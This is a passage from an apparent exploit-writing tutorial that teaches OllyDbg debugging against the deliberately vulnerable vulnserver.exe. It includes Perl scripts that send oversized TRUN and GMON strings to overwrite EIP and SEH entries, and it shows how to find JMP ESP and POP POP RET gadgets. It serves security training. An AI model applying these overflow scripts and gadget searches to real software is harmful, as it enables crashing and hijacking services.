EBP and EIP registers values will be highlighted in red. What this red
highlighting of values is indicating is that this particular value changed
during the last operation.

Press **F8** two more times until the “CALL DWORD PTR
DS:\[<&msvcrt.\_\_set\_app\_type>\]” instruction is highlighted. Now press
**F8** once more and execution should advance to the following instruction of
“CALL vulnserv.00401020″.

<img src='img/Temp2_5779.jpg' />

What happened here? We just ran a CALL instruction, which is intended to be
used to temporarily redirect code execution to another location within the
programs memory space, yet the debugger didn’t move to this new section of
code, as we might have expected it to do. What actually happened here is that
the **F8** or “Step over” key, indeed “stepped over” this CALL instruction. It
ran the code specified by this CALL instruction and paused the program in the
debugger once more after it was done and execution had returned to the
instruction immediately after the CALL. So what do we do if we want to
actually follow the debugger into the code specified by one of these CALL
statements?

We use the “Step into” command, which uses **F7** as its shortcut key. Use the
**F7** key now, with your debugger selecting the instruction “CALL
vulnserv.00401020″, and see what happens. The debugger will follow through to
the instruction in vulnserver at the memory address 00401020, and will then
pause. You can now follow along with the code referenced by that CALL
instruction.

<img src='img/Temp2_5785.jpg' />

So the difference between the “Step over” and “Step into” commands is that one
steps over CALL statements \(preventing you from having to go through the code
there if you don’t want to\) and the other steps into them, allowing the
“CALL”ed code to be viewed.

**_Where did I come from? Exposing your history  
_**

OllyDbg keeps a history of the last 1000 commands that were displayed in the
CPU window, so if you have stepped into a CALL statement, or followed a JMP
and you want to remind yourself of the previous code location, you can use the
plus \(**+**\) and minus \(**-**\) keys to navigate through the history. Try
the minus key now, the CPU view should then display the CALL instruction that
you just executed. Use the plus key to come back to the current instruction.

Note that this little trick only allows you to view instructions that have
actually been displayed and tracked in the debugger. You can’t let the program
run, generate a crash and then use the minus key to check the instruction just
before the crash occurred, nor can you let your program run until it hits a
breakpoint and then step back from there. If this type of functionality
interests you, you can use the Run trace capabilities of OllyDbg, which I will
cover later in this section.

**_Animation  
_**

If you want to step through your code in a controlled fashion, but don’t like
the thought of having to hammer quickly at the **F7** or **F8** buttons, you
can take advantage of OllyDbg’s animation capabilities. Press **Ctrl-F7** for
“Step into” animation and **Ctrl-F8** for “Step out” animation. This will step
through the code rather quickly, allowing you to pause once more by hitting
the **Esc** key. You can then use plus \(**+**\) and minus \(**-**\) keys to
step through the history of your animated session. Try hitting **Ctrl-F7** now
to do some step in animation, and then hit **Esc** when you are done. Now use
the plus \(**+**\) and minus \(**-**\) keys to navigate through your execution
history for a bit, until you are comfortable with how this works.

**_Setting breakpoints  
_**

Up until now we have maintained more or less manual control over how the
program is executed, with us having to either approve each instruction in
advance, or having to let the instructions run in a semi-automated fashion
with us hitting Esc \(hopefully at the right time\) when we want the program
to stop.

What if we want to stop the program at a particular point in the middle of its
execution though? The step by step method will be too slow \(there are a lot
of instructions in even the simplest program\), and the animation method will
be too imprecise. Well, to allow us to stop at a point of our choosing, we can
use breakpoints, which are essentially markers on particular instructions in
the code that tell the debugger to pause execution when one of those
instructions are about to be executed by the CPU.

Let’s try setting one now. First of all, use the **View- >Executable modules**
menu option to bring up a list of executable modules loaded with
vulnserver.exe. Double click on the vulnserv entry to open this view in the
CPU window \(we are doing this because it’s possible that our previous
animation session brought another module to the fore\). Now right click in the
top left hand pane of the CPU view and select **Search for- >All referenced
text strings**. See the following screen shot.

<img src='img/Temp2_5755.jpg' />

Double click on the entry that has the text “Welcome to Vulnerable Server\!
Enter HELP for help.” to go to the related instruction in the CPU view \(see
the selected entry in the screenshot above\). Now, with this instruction
highlighted in the CPU View, hit the **F2** key, which is used to both set and
clear breakpoints. If you open the **View- >Breakpoints** menu option, or hit
**Alt-B** , you should now also see your breakpoint listed in the Breakpoints
view.

You will note that the memory address for that instruction will be highlighted
in red in the top left pane of the CPU View. So, a breakpoint has been set,
now let’s see how we can trigger it, as well as how we can let code run
normally in the debugger.

**Note:** When you reach the point in your exploit writing process where you
are inserting your own code into the program \(e.g. when using shellcode in an
exploit you are writing, or even when you are writing your own shellcode\) you
can alternatively use the opcode “\xCC” to insert your own breakpoints
directly into the code. We will look at how this is used in more detail in a
later section.

**_Running the code  
_**

To allow code to run within the debugger, hit the **F9** or Run key. The
program will now essentially run normally, until either a breakpoint is hit or
an exception occurs. \(Strictly speaking, you can manually pause the program
in the debugger too, but that’s often not particularly useful.\)

Generally, when you want to interact with a program in a normal way while you
are debugging it, for example if you want to send data to a program to cause
an exception, the **F9** Run option is what you need to use to allow that to
happen.

Now that our program is running normally within the debugger, let’s try and
trigger our breakpoint. In this case, we have set a breakpoint on the
instruction that references a text block that is displayed by vulnserver in
response to a connection from a client, so in order to hit the breakpoint, we
need to initiate a client connection. Since we are currently in Run mode, the
program will operate as normal within the debugger until the code referenced
by the breakpoint is about to be executed.

Save the following into a file basicclient.pl.

\#\!/usr/bin/perl  
use IO::Socket;  
if \($ARGV\[1\] eq ”\) \{  
die\(“Usage: $0 IP\_ADDRESS PORT\n\n”\);  
\}

$socket = IO::Socket::INET->new\( \# setup TCP socket – $socket  
Proto => “tcp”,  
PeerAddr => “$ARGV\[0\]“, \# command line variable 1 – IP Address  
PeerPort => “$ARGV\[1\]” \# command line variable 2 – TCP port  
\) or die “Cannot connect to $ARGV\[0\]:$ARGV\[1\]“;

$socket->recv\($sd, 1024\); \# Receive 1024 bytes data from $socket, store in
$sd  
print $sd;

Now, run the script, feeding the script the appropriate IP address and TCP
port number for vulnserver.exe as shown below.

C:\\\_Work>perl basicclient.pl 127.0.0.1 9999

Your code should now stop at your configured breakpoint, allowing you to take
control of execution once more, so you can step through future code. Hit
**F2** again to clear the breakpoint, and then **F9** to start the program
running once more.

I mentioned at the start of this section that a program that is let to run
will only stop when a breakpoint is hit or an exception occurs. Let’s try
causing an exception next, to see how the program reacts.

**_Exception-al debugging  
_**

When an exception occurs in a running program in a debugger, the debugger will
halt execution and allow you to view the state of the CPU and memory inside
the program at the time the exception occurred. This is exactly the kind of
information we need to see if we want to be able to write a reliable exploit
for the given vulnerability.

To trigger an exception, I am going to make use of a vulnerability in
vulnserver.exe. If you wish to find out how the vulnerability was discovered,
you can visit the following links:

http://resources.infosecinstitute.com/intro-to-fuzzing/

http://resources.infosecinstitute.com/fuzzer-automation-with-spike/

The following code will cause an exception in vulnserver.exe. Save as trun.pl

\#\!/usr/bin/perl  
use IO::Socket;  
if \($ARGV\[1\] eq ”\) \{  
die\(“Usage: $0 IP\_ADDRESS PORT\n\n”\);  
\}

$baddata = “TRUN .”; \# sets variable $baddata to “TRUN .”  
$baddata .= “A” x 5000; \# appends \(.=\) 5000 “A” characters to $baddata

$socket = IO::Socket::INET->new\( \# setup TCP socket – $socket  
Proto => “tcp”,  
PeerAddr => “$ARGV\[0\]“, \# command line variable 1 – IP Address  
PeerPort => “$ARGV\[1\]” \# command line variable 2 – TCP port  
\) or die “Cannot connect to $ARGV\[0\]:$ARGV\[1\]“;

$socket->recv\($sd, 1024\); \# Receive 1024 bytes data from $socket, store in
$sd  
print “$sd”; \# print $sd variable  
$socket->send\($baddata\); \# send $baddata variable via $socket

Run the script as follows \(ensure you provide the correct IP address and port
number if you are not running this from the same host running
vulnserver.exe\).

C:\\\_Work>perl trun.pl 127.0.0.1 9999

If everything goes according to plan, your debugger should stop, with the
screen looking like the screenshot below. If this does not work, restart
vulnserver.exe in the debugger \(**Debug- >Restart** menu option\), hit **F9**
to let the program run, and try again.

<img src='img/Temp2_5751.jpg' />

The text in the bottom left hand corner of the screen shows the following.

<img src='img/Temp2_5776.jpg' />

And the register values are as follows. Note the value of the EIP register.

<img src='img/Temp2_5765.jpg' />

This is how the debugger will behave when an exception occurs. You will note
that you can see CPU register values, as well as stack and memory data, as it
looks at the time of the crash. You can’t however, see the instructions that
the CPU was attempting to execute, because the Instruction pointer \(EIP\) is
pointing to a memory address that does not appear to contain any code
\(41414141\). Hmmmmm….

At this point, you could use **Shift+F7/F8/F9** to pass the exception to the
program to handle, but let’s not do that right now \(we will try this in an
upcoming section focusing on the SEH Chain\).

**_Run tracing to find the cause of an exception  
_**

We have now seen how an exception looks when hit within a debugger, but we
still haven’t seen how we can identify the particular section of code where
the exception occurs. To do this, we can use the Run trace functionality of
OllyDbg.

Run tracing essentially allows us to log instructions that are performed by
the debugger, so that when an event such as an exception occurs we will have a
command history that we can look back through to find out how it happened.

While this is undoubtedly a great feature, there are some caveats to using it
– mainly that it’s much slower than just running code normally and it can use
a lot of memory if you leave it running for too long. Consequently, if we want
to use Run trace to efficiently identify the cause of an exception, we should
attempt to get code execution as close to the point of the crash as we
reasonably can before we turn it on.

Let’s see if we can use Run trace to find the code that leads to the exception
examined in the previous section.

By examining the trun.pl script that we used to create the exception, we see
that the data we are sending to the application is a string beginning with the
text “TRUN”. The appropriate line from the script that sets this string is
shown below. \(The entire script is provided in the previous section\).

$baddata = “TRUN .”; \# sets variable $baddata to “TRUN .”

Let’s have a look in the debugger to see if we can find references to this
string, as such references may indicate code segments that deal with this
particular data. If we find any such references, this will hopefully provide
us with a good area from which to start our Run trace.

Restart vulnserver.exe in the debugger, and hit **F9** to let the program run.
Now, right click in the disassembler pane and select the **Search for- >All
referenced text strings** option. This function essentially searches for any
and all references to text strings within the code.

In the Text strings window that appears, about midway down you should see a
reference to an ASCII text string “TRUN “. See the screenshot below, where I
have selected this particular entry. Although this particular instruction may
not necessarily be placed immediately before code that will create the
exception we viewed in the previous section, it seems like a good place to
start looking. We will set a breakpoint at this location in the code and see
if that breakpoint is hit before the exception occurs. This would indicate
that the marked instruction is located at an earlier point in the execution
path than the code associated with the exception, and may be a good place to
start our Run trace from. If the breakpoint is not hit, we can keep looking
through the code to see if we can identify some other position from which it
might be suitable to start our Run trace.

<img src='img/Temp2_5787.jpg' />

Double click on the “TRUN” entry in the Text strings window to be taken to the
corresponding instruction in the disassembler pane. Now hit **F2** to set a
breakpoint on this location. The address should turn red, as shown below.

<img src='img/Temp2_5774.jpg' />

Now we are almost ready to start a Run trace to see if we can identify which
instructions lead up to our exception. The program is running normally in the
debugger, with a breakpoint \(hopefully\) set at a point somewhere in the code
not too far before the exception occurs. If everything goes to plan, code
execution should pause at this breakpoint when we use the trun.pl script to
generate the exception, and this should then allow us to start a Run trace
which will identify the instructions that lead up to our exception.

Before we try this though, we will tweak the Run trace options just a little
in order to make the Run trace process slightly more efficient. Open the
**Options** menu, select the **Debugging options** item, and hit the **Trace**
tab. Enable the **Always trace over system DLLs** and **Always trace over
string commands** options and hit **OK**. See the screenshot below.

<img src='img/Temp2_5782.jpg' />

This will prevent our debugger from stepping into system routines and string
commands, which in many cases is not needed and will just clutter our Run
trace log unnecessarily.

Now run the trun.pl script to generate the exception.

C:\\\_Work>perl trun.pl 127.0.0.1 9999

Execution should pause at our breakpoint. Success\! Now let’s start a Run
trace. These can be initiated by using the **Ctrl-F11** key for a step into
Run trace, or **Ctrl-F12** for a step over Run trace. As with the other
debugger code execution methods, step into means to follow code within CALL
statements, and step over means to execute over them.

Press **Ctrl-F11** to execute a step into Run trace. You should be greeted
very quickly by the following popup, indicating that the exception has been
reached. The speed at which this has occurred suggests that the location for
our breakpoint has been well chosen – we have discovered the code that leads
up to the exception but we haven’t been left waiting for an extended period of
time while the trace ran.

<img src='img/Temp2_5791.jpg' />

Hit **OK** in the popup to dismiss it. Now, to actually see the contents of
the Run trace log, open the **View** menu, and select **Run trace**. You
should see something like the following, showing the exception at the bottom
of the window \(entry 0\), with all of the other instructions since the Run
trace started listed from bottom to top in order of most to least recently
executed.

<img src='img/Temp2_5760.jpg' />

At this point, if you wanted to examine the cause of the exception in more
detail, you now know exactly what leads up to it. You have the option of
taking the address of any of the instructions above, setting a breakpoint at
that location, retriggering the exception and then stepping through the code
to see exactly how the exception occurred.

Remember, if you want to use Run trace to effectively find exception prone
code, place a breakpoint as near as possible to the point where you think the
exception occurs \(some trial and error may be involved in getting the
breakpoint in the right place\), then trigger the exception and Run trace from
the breakpoint.

Before you proceed, clean up the breakpoint you added in this section. Open
the **View** menu and select **Breakpoints** or hit **Alt-B** to open the
Breakpoints window, and use the **Delete** key to remove any existing
breakpoints listed.

**The SEH Chain  
**

“What is the SEH Chain?” I hear you ask. It’s essentially a per-thread
structure in memory that provides a linked list of error handler addresses
that can be used by Windows programs to gracefully deal with exceptions, like
the one we generated in the previous section.

Once an exception is detected within a program, Windows will attempt to manage
that exception by using the error handling routines in Windows to select an
error handler from the SEH Chain. That error handler will be a memory address
that contains code that will do something useful, like throw up an error
dialog box to indicate that the program has crashed. Entries in this SEH Chain
are stored on the stack.

We can look at the SEH address in one of two ways – we can scroll through the
stack pane in OllyDbg until we see the “SE handler” text next to a stack
entry, or we can use the **View - >SEH chain** menu option.

To find the entry on the stack, you can generally just scroll down to the very
bottom of the stack pane in OllyDbg, as this is likely where the Operating
System supplied SEH chain entry will be located. Using the “SEH chain” menu
option will show you all entries in the SEH chain if there is more than one.

Why, as exploit writers, do we care what the SEH chain contains? We care
because the SEH chain contains addresses where code execution is redirected
once an error occurs, allowing us to use any exception as an opportunity to
redirect code execution to a location of our choice by overwriting these SEH
entries with our own provided values. Since these entries in the chain are
stored on the stack, they are ideally placed in order to be overwritten by a
stack based overflow.

There are some caveats you need to be aware of when writing SEH exploits, but
this is something I will go into in more detail in a future tutorial, for now
we will just cover how to use the debugger to determine if an SEH overwrite
has occurred.

If you haven’t already, restart the program in the debugger and hit **F9** to
get it running. Now execute the trun.pl script created in the “Exception-al
debugging” component of the previous section to get the exception back into
the debugger, and view the SEH handlers, by using the stack and **View**
->**SEH chain** methods.

<img src='img/Temp2_5756.jpg' />

What you should see now is an intact SEH chain – one that hasn’t been
overwritten. You can tell this because the handler address is a valid one
within ntdll \(from the SEH chain window – see screenshot above\) and because
the SEH entry near the bottom of the stack is preceded by an entry with the
data FFFFFFFF \(this stack entry should be marked as “Pointer to next SEH
record”\). Since the SEH chain is a linked list, each entry in the list
contains a location for the next entry, with the reference for the last SEH
entry pointing to FFFFFFFF to indicate that it is the final entry. The
following screenshot shows the SEH entry on the stack, after scrolling down to
the bottom of the stack pane.

<img src='img/Temp2_5763.jpg' />

The following shows a zoomed in view of the stack pane from the above.

<img src='img/Temp2_5789.jpg' />

Let’s compare that to an SEH chain that has been overwritten. Restart
vulnserver.exe in OllyDbg and use **F9** to start it running.

Save the following as gmon.pl

\#\!/usr/bin/perl  
use IO::Socket;  
if \($ARGV\[1\] eq ”\) \{  
die\(“Usage: $0 IP\_ADDRESS PORT\n\n”\);  
\}

$baddata = “GMON /”; \# sets variable $baddata to “GMON /”  
$baddata .= “A” x 5000; \# appends \(.=\) 5000 “A” characters to $baddata

$socket = IO::Socket::INET->new\( \# setup TCP socket – $socket  
Proto => “tcp”,  
PeerAddr => “$ARGV\[0\]“, \# command line variable 1 – IP Address  
PeerPort => “$ARGV\[1\]” \# command line variable 2 – TCP port  
\) or die “Cannot connect to $ARGV\[0\]:$ARGV\[1\]“;

$socket->recv\($sd, 1024\); \# Receive 1024 bytes data from $socket, store in
$sd  
print “$sd”; \# print $sd variable  
$socket->send\($baddata\); \# send $baddata variable via $socket

And run it

C:\\\_Work>perl gmon.pl 127.0.0.1 9999

An exception should occur. Now check the bottom of the stack as well as the
SEH chain window.

<img src='img/Temp2_5745.jpg' />

You should see that the SEH entry has been overwritten with 41414141, as has
the pointer to the next SEH record. We have definitely overwritten the SEH
entry here.

<img src='img/Temp2_5790.jpg' />

A zoomed in view of the stack is shown below.

<img src='img/Temp2_5769.jpg' />

Now try and pass the exception through to the program to be handled using
**Shift+F7/F8/F9** key combination. You should get an access violation with
EIP pointing to 41414141. Windows tried to handle the previous exception by
passing control to our overwritten SEH entry of 41414141.

<img src='img/Temp2_5761.jpg' />

The text in the bottom left hand corner shows the following.

<img src='img/Temp2_5776.jpg' />

And the registers are set to values as shown below \(note the value of EIP\)

<img src='img/Temp2_5777.jpg' />

When this happens within a program you are debugging, you should know that you
have a decent chance of writing an SEH exploit for that vulnerability,
although as I mentioned earlier there are a few caveats which you have to
watch out for that I will discuss in a future article.

**Searching for commands  
**

One of the simplest ways in which to perform software exploitation is to use
instructions located in specific areas of memory to redirect code execution to
areas of memory that we can control. In the case of the vulnerabilities shown
so far in this tutorial we have managed to set the EIP register to locations
of our choosing both via directly overwriting a RETN address on the stack and
by using an overwritten SEH entry to redirect execution via the windows error
handling routines. If we want to use this control over EIP to redirect to our
own code inserted within the application, the simplest way to proceed is to
find instructions that can perform this redirection at known locations within
memory.

The best place to look for these instructions is within the main executables
code or within the code of an executable module that is reliably loaded with
the main executable. We can see which modules we have to choose from by
allowing the program to run normally and then checking the list of executable
modules in OllyDbg.

**Note** : This method of checking for loaded modules may result in us missing
some delay loaded dlls. If you’re concerned about this you can run the
executable through its paces a little to give the best opportunity for those
dlls to get called before you check which modules are loaded. Just remember
that if you choose an address from a delay loaded module you need to ensure
that that module is loaded before any exploit that relies on it is triggered.

Let’s try this now. Restart vulnserver in the debugger and press **F9** to let
it run. Now open the **View** menu and select the **Executable modules**
option \(or hit **Alt-E**\). This will show you a list of executable modules
currently loaded with the main executable.

<img src='img/Temp2_5768.jpg' />

At this point you will most likely note that there are quite a few modules to
choose from. Which ones should you start with first? The best way to know how
to proceed here is to start with the goal in mind. We want a module that
offers a location in memory where we can reliably find a particular
instruction we can use to redirect code for our exploit. Basically, this boils
down to the module including the instruction we want and there not being any
characteristics of the module that will prevent that instruction from being
used. Such characteristics could include a restricted value in the address, or
various exploit protections such as SafeSEH or ASLR being enabled in the
module.

I usually use the following process to order the loaded modules in terms of
least to most usable, and I search the most usable modules for my desired
instruction first.

Operating System supplied modules go to the bottom of the list. You can tell
which modules are OS supplied by checking the full path of the module.
Usually, they are located in the \Windows\system32\ folder. These modules are
best avoided for a number of reasons. First, they change between OS versions,
as well as service packs and sometimes even hotfixes, meaning that an
instruction that you find in one version of the module may not be there in
another version, meaning that your exploit will only work on very specific
systems \(ones that have the same OS version, service pack and perhaps even
hotfixes as your sample system.\) Second, these OS supplied modules are almost
certainly going to be compiled using compiler based exploit prevention
features, such as SafeSEH and ASLR. Basically, you should only be looking at
OS supplied modules if you have no better options.

A module you can consider using is the main executable itself, which is quite
often not subject to any compiler based exploit protections, especially when
the application has been written by a third party developer and not Microsoft.
Using the main executable has one major flaw however, in that it almost always
starts with a zero byte. This is a problem because the zero byte is a string
terminator in C/C++, and using zero bytes as part of strings used to overflow
a buffer will often result in the string being terminated at that point,
potentially preventing the buffer from being appropriately overflowed and
breaking the exploit.

The best choice of module to use is one that comes with the application itself
\(assuming a third party application\). These modules are often compiled
without exploit protections and since they come with the application being
exploited the module structure usually remains the same amongst copies of the
application with the same version number. This gives you the ability to write
an exploit which will most likely work across a number of different Windows
versions, as long as the version of the program to be exploited remains the
same.

In this case we have one module, essfunc.dll, which should be suitable for our
uses. Double click on it to open it in the CPU view. The title bar should now
end with the text “module essfunc” if you have properly selected the essfunc
module. Let’s see how we can find useful instructions within this module.

The first thing we need to know is what command we want to search for. In the
case of exploits, the most commonly used instructions are those that either
JMP or CALL a particular register, or a POP, POP RET instruction. The JMP or
CALL commands are used when a particular register points to a location in
memory which we control, and the POP, POP, RET instructions are used when we
write SEH exploits on Windows systems XP SP2 and up.

Assuming we want to search for a “JMP ESP” instruction, we can use one of two
commands accessible via right clicking in the top left hand pane of the CPU
View of the appropriate module.

The first command, accessible by right clicking on the top left pane and
selecting **Search for- >Command** allows us to search for one command at a
time. After the first result is shown, highlighted in the CPU view, you can
see subsequent results by clicking **Ctrl-L** or selecting **Search for-
>Next** from the right click menu.

Try this now. Select the **Search for- >Command** option from the right click
menu in the top left pane of the CPU view \(make sure essfunc is the currently
selected module – it should mention this in the title bar as shown in the
screenshot below\).

<img src='img/Temp2_5744.jpg' />

Then, in the Find command window that appears, type “JMP ESP” and hit
**Find**.

<img src='img/Temp2_5771.jpg' />

This will take you to the first instance of that command within the currently
selected module. Now hit **Ctrl-L** to find the next instance.

The second command, accessible by right clicking on the top left pane and
selecting **Search for- >All**  
**commands** , will open a new window listing all instances of that command
within the currently selected module.

Try this now. Select the **Search for- >All commands** option from the right
click menu in the top left pane of the CPU view. In the Find all commands box,
type “JMP ESP” and hit **Find**. A new window will then appear showing the
complete list of JMP ESP commands found in the currently selected module.

<img src='img/Temp2_5783.jpg' />

This demonstrates how we can look for a single instruction, but what do we do
if we want to look for multiple commands in sequence, such as a POP, POP, RET?
Well for this we can either use the right click options **Search for-
>Sequence of commands** or **Search for- >All sequences**, to either search
for individual instances or all instances of a particular command sequence.

Let’s try searching for all instances of POP, POP, RET sequences in
essfunc.dll. Make sure that module is still selected in the CPU View, then
right click on the top left hand pane and select **Search for- >All
sequences**. Then, in the find sequence of commands window that appears type
the following:

POP r32  
POP r32  
RETN

Where “r32″ is shorthand for any 32 bit register \(e.g. ESP, EAX, etc\). See
the following screenshot.

<img src='img/Temp2_5758.jpg' />

Hit **Find** and you will be greeted with a “Found sequences” window showing
you all the locations where that sequence of commands exists within the
current module. Your currently selected position in the code will also be
shown in the list in red to show you where those discovered commands are in
relation to your current position.

<img src='img/Temp2_5792.jpg' />

Double click on any of the entries in the list and you will be taken to that
location in the CPU view, so you can see that all commands you elected to
search for are actually present. \(In the screenshot below, for example, we
can see POP EBX, POP EBP, RETN\).

<img src='img/Temp2_5780.jpg' />

**Searching through memory  
**

In some circumstances when writing an exploit you will need to determine if
data you have sent to an application has been captured and stored somewhere in
memory. This type of condition is especially useful when you have found an
exploitable vulnerability but you don’t have room to insert your full payload
into the same set of data that causes the exception. By placing your payload
data into another accessible area in the program’s memory, you can then use
special purpose shellcode to find that payload elsewhere in memory and
redirect execution to it.

You can search memory for particular values very easily in OllyDbg.
Essentially, you need to insert the appropriate data into the program, pause
the debugged program at an appropriate point in its execution, then open the
OllyDbg Memory map view and use the Search function to see if the appropriate
data is present. If your goal is to see if data stored in a programs memory
can be utilized in a particular exploit, the best way to go about this is to
send the data and pause the program in the debugger by actually causing the
appropriate exception. Let’s see how this works.

This code below will create the same exception we used in trun.pl above, but
before the crash is triggered it will also send some data \(a giant string of
“B” characters\) to the application using the GDOG command from vulnserver.
Save the following as sendextradata.pl.

\#\!/usr/bin/perl  
use IO::Socket;  
if \($ARGV\[1\] eq ”\) \{  
die\(“Usage: $0 IP\_ADDRESS PORT\n\n”\);  
\}  
$memdata = “GDOG “; \#sets variable $memdata to “GDOG ”  
$memdata .= “B” x 5000; \# appends \(.=\) 5000 “B” characters to $memdata

$baddata = “TRUN .”; \# sets variable $baddata to “TRUN .”  
$baddata .= “A” x 5000; \# appends \(.=\) 5000 “A” characters to $baddata

$socket = IO::Socket::INET->new\( \# setup TCP socket – $socket  
Proto => “tcp”,  
PeerAddr => “$ARGV\[0\]“, \# command line variable 1 – IP Address  
PeerPort => “$ARGV\[1\]” \# command line variable 2 – TCP port  
\) or die “Cannot connect to $ARGV\[0\]:$ARGV\[1\]“;

$socket->recv\($sd, 1024\); \# Receive 1024 bytes data from $socket, store in
$sd

print “$sd”; \# print $sd variable  
$socket->send\($memdata\); \# send $memdata variable via $socket  
$socket->recv\($sd, 1024\); \# Receive 1024 bytes data from $socket, store in
$sd  
print “$sd”; \# print $sd variable  
$socket->send\($baddata\); \# send $baddata variable via $socket

Start up vulnserver.exe in OllyDbg and hit **F9** to allow the program to Run.
Then run this script as follows.

C:\\\_Work>perl sendextradata.pl 127.0.0.1 9999

An exception should be triggered in the debugger. To now search for the
additional data we sent to the program \(that big string of upper case “B”
characters\), open the **View** menu and select **Memory** , or hit **Alt-M**
to bring up the Memory map in OllyDbg.

Now right click on the Memory map and select **Search** from the Menu, or hit
**Ctrl-B**.

<img src='img/Temp2_5754.jpg' />

This will bring up the search window. Enter a large string of upper case B
characters in the ASCII box, and be sure to tick the **Case sensitive** option
near the bottom of the window. See the below screenshot.

<img src='img/Temp2_5775.jpg' />

Now hit **OK** , and you should soon be greeted by a memory Dump window,
showing a large number of B characters in a row. Expand the window a little to
see just how many there are. See the screenshot below. In this particular
shot, you can also see the beginning of the TRUN command that we used to cause
the exception.

<img src='img/Temp2_5753.jpg' />

Here we have confirmed that we have a way of inserting additional data into
the application in such a way that it is still available in memory at the time
we caused this particular exception. This means that if we needed to provide
additional content to the application in order to complete an exploit for this
vulnerable bug, we could use the method demonstrated in the sendextradata.pl
script to provide that data.

**Working in the memory dump  
**

The memory dump windows in OllyDbg are extremely useful when writing exploits,
as they provide multiple ways in which to view and access the data stored in a
programs memory. This section will look at a number of ways in which we can
work in the memory dump windows in order to efficiently manipulate and process
this data.

This section is made up of the following subsections:

  * Different memory dump views
  * Following in memory dump
  * Copying data from the memory dump

** _Different memory dump views  
_**

During exploit writing it can often be useful to be able to represent data in
the debugger in a variety of different formats, and sometimes to copy that
data out of the debugger for processing with other programs. Luckily, OllyDbg
provides a number of different view formats for memory dump windows \(both the
one in the bottom left hand pane of the CPU view and the ones accessed by
double clicking on entries in the Memory map\). This gives us options in how
we can view a programs executable code, the data generated by the program, and
data supplied by a programs users, all of which will be stored in memory. In
addition, the memory dump windows, as well as many of the other views in
OllyDbg, allow data to be easily copied out to the clipboard, and sometimes
written to a file on disk, to allow it to be easily used in other programs.

The different view modes in the memory dump windows are accessed via the right
click menu. Let’s examine some of the views that will be most useful to us as
exploit writers.

One of the most commonly used display modes for memory in OllyDbg, especially
within the CPU view, is the “Hex/ASCII \(8 bytes\)” view, which shows both the
Hex and ASCII representation of the data, with 8 bytes per row. You can see a
screenshot of this view mode below, along with the menu option used to select
it \(right click, **Hex- >Hex/ASCII \(8 bytes\)**\). There is also a
“Hex/ASCII \(16 bytes\)” view mode which is essentially the same but 16 bytes
of data are shown per row as opposed to 8, and you can also choose to view the
text in Unicode instead of ASCII. This screenshot is of a memory dump window
opened from the Memory map, but remember this view mode also applies to the
memory pane in the CPU view.

<img src='img/Temp2_5766.jpg' />

The “Text” view represents the data as pure text, using either the ASCII
\(single byte\) or Unicode \(double byte\) encoding format. The previous view
showed the ASCII \(or Unicode\) representation of data as well, but did it
alongside the Hex representation. If you need to show just the text \(perhaps
because you want to copy only the text and not the hex data\), this is the
mode you can choose. To select the “Text” view, right click and select the
appropriate entry from the Text submenu. See the following screenshot to see
how the ASCII \(32 chars\) text view looks, as well as the menu entry you can
choose to select it.

<img src='img/Temp2_5749.jpg' />

The “Disassemble” view is the last one we will examine. This interprets the
data from memory as assembly code, much as shown in the top left hand pane of
the CPU view. The screenshot below shows the “Disassemble” view along with the
menu option used to select it \(right click and choose **Disassemble** from
the menu\).

<img src='img/Temp2_5748.jpg' />

When you open a Memory dump window from the Memory map, OllyDbg will often
choose one of the above views for you automatically based on the type of
content it believes is contained within that area of memory. For example, it
will use the “Disassemble” view for areas that are believed to contain
executable code.

**_Following in memory dump  
_**

Directly clicking on various memory pages from the memory map allows us to go
to any area in memory we like, but what if we want to view the contents of
memory at locations stored in one of the CPU registers, or in entries from the
stack? What if we want to view the code from the disassembler pane in the
stack?

Well we can do this by right clicking on the appropriate register, stack entry
or disassembled instruction in the CPU view, and selecting the “Follow in
Dump” option. The memory dump pane in the CPU view will then show the section
of memory beginning with the address represented by the item you selected.

Try this now, by restarting vulnserver in the debugger, right clicking on the
first entry in the disassemble pane, and selecting **Follow in Dump-
>Selection**.

<img src='img/Temp2_5764.jpg' />

The memory dump pane will then display the memory address of the instruction
you just selected, with the bytes making up that instruction being
highlighted.

<img src='img/Temp2_5772.jpg' />

You can also select multiple instructions and try the same thing – the data
representing all of the instructions you selected will be highlighted in the
memory dump.

You can also use the **Follow in Dump** option on the stack. Right click on an
address of a stack entry \(left hand column in the stack pane\), to view that
section of the stack in the memory dump. Right click on the value of a stack
entry \(second column in the stack pane\), to view the memory location that
entry contains. Please note that in the case of stack entries, the **Follow in
Dump** option will only be available if the stack entry contains a valid
memory address.

The **Follow in Dump** option also works with CPU registers. Like with stack
entries, the option will only appear if the register contains a valid memory
address.

Try the **Follow in Dump** option yourself on the stack and on the CPU
registers so you get a feel for how it works.

One of the most important uses of this **Follow in Dump** option when writing
exploits is to assist in finding stack entries or CPU registers that point to
areas of memory we control when an exception occurs. This will give a pointer
to how we can direct code execution into those memory areas. For example, if
we see that when an exception occurs, the ESP register points to memory
containing data we sent to the application, we could use a “JMP ESP”
instruction to redirect code execution to that location.

Another potential use of this option is to allow us to easily view, select and
copy instructions being executed by the CPU in different ways – a capability
given to us by the flexibility of the display options of the memory dump view
as opposed to some of the other views in OllyDbg. This can be very useful when
we want to confirm shellcode we have sent to an application has not been
mangled during transfer.

**_Copying data from the memory dump  
_**

There are two different ways in which selected data can be copied out of the
memory dump that I would like to cover here.

The first method copies the data in a textual format, much as it is displayed
in the debugger itself. When using this method, the output depends on the view
mode you have chosen. If you are using the “Hex/ASCII \(8 bytes\)” view mode,
you will get the address, the hex dump, and the ASCII representation, but if
you are using the “Disassembly” view, you will get the address, the hex dump,
the disassembly and a comment. As I said, it’s basically a text representation
of what you see on screen.

To copy in this way, select some data using the mouse, then right click and
select **Copy- >To clipboard** or **Copy- >To file**, depending on where you
want the data to go. To get the data into the right format, you should
obviously set your view mode, as described earlier, to the appropriate
setting. You will find that most of the display windows in OllyDbg also offer
some variation of this option, so if you want a text copy of pretty much
anything you see on screen, you can probably get it via selecting the data and
right clicking.

As an example of what this looks like, here is a sample of text copied from
the memory dump in disassemble mode.

00401130 > $ 55 PUSH EBP  
00401131 89E5 MOV EBP,ESP  
00401133 83EC 18 SUB ESP,18  
00401136 C70424 0100000>MOV DWORD PTR SS:\[ESP\],1

The second method for copying data is the binary copy. This copy method is
only available in the memory dump and the disassembler views, and essentially
copies to the clipboard a space delimited representation of the hex values for
each byte selected. This is available by selecting some data in the memory
dump, right clicking and selecting **Binary- >Binary copy**. The following
shows the text generated by performing a binary copy on the same data that was
used to produce the example text based copy above.

55 89 E5 83 EC 18 C7 04 24 01 00 00 00

